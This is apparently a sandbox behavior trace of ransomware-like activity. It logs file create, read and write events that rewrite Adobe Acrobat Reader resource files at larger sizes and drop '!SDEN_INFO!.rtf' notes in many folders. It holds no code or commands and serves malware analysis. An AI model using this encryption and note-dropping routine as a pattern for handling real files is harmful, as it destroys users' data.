File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ro-ro\ui-strings.js, size = 2449	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-tw\ui-strings.js, size = 1034, size_out = 1034	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-tw\ui-strings.js, size = 2450	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ca-es\ui-strings.js, size = 4507, size_out = 4507	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ca-es\ui-strings.js, size = 5923	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hr-hr\ui-strings.js, size = 4427, size_out = 4427	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hr-hr\ui-strings.js, size = 5843	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\root\ui-strings.js, size = 4053, size_out = 4053	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\root\ui-strings.js, size = 5469	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\plugin.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-dynamic-pdf.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\it-it\!SDEN_INFO!.rtf, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sign-in.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sign-in.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\chrome-ext.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\chrome-ext.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\chrome-ext.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\chrome-ext.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit-hover.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit-hover.svg, size = 3868, size_out = 3868	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit-hover.svg, size = 5284	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\da-dk\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\da-dk\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\da-dk\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\da-dk\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fr-fr\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\de-de\!SDEN_INFO!.rtf, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\de-de\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\de-de\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pl-pl\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pl-pl\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pl-pl\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\get-e-signatures-2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\tr-tr\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\tr-tr\PlayStore_icon.svg, size = 5441, size_out = 5441	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\tr-tr\PlayStore_icon.svg, size = 6857	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text.gif, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text.gif, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text.gif, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp_2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp_2x.gif, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp_2x.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp_2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp_2x.gif, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp_2x.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\ShareFeedback.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\ShareFeedback.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\ShareFeedback.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\ShareFeedback.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\welcome.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\welcome.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\welcome.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\welcome.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-gb\ui-strings.js, size = 823, size_out = 823	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-gb\ui-strings.js, size = 2239	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ja-jp\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ja-jp\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ja-jp\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sl-si\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sl-si\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sl-si\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\css\main.css, size = 4588, size_out = 4588	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\css\main.css, size = 6004	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nb-no\ui-strings.js, size = 1102, size_out = 1102	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nb-no\ui-strings.js, size = 2518	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\css\main.css, size = 1697, size_out = 1697	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\css\main.css, size = 3113	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-fr\ui-strings.js, size = 923, size_out = 923	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-fr\ui-strings.js, size = 2339	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pt-br\ui-strings.js, size = 912, size_out = 912	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pt-br\ui-strings.js, size = 2328	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-cn\ui-strings.js, size = 896, size_out = 896	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-cn\ui-strings.js, size = 2312	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_es_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_es_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nn-NO\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nn-NO\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ru_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ru_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ru_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ru_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ar_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ar_get.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ar_get.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\root\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\et_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\et_get.svg, size = 6328, size_out = 6328	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\et_get.svg, size = 7744	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\lv_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-si\!SDEN_INFO!.rtf, size = 5721, size_out = 5721	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-si\!SDEN_INFO!.rtf, size = 7137	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\sl_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
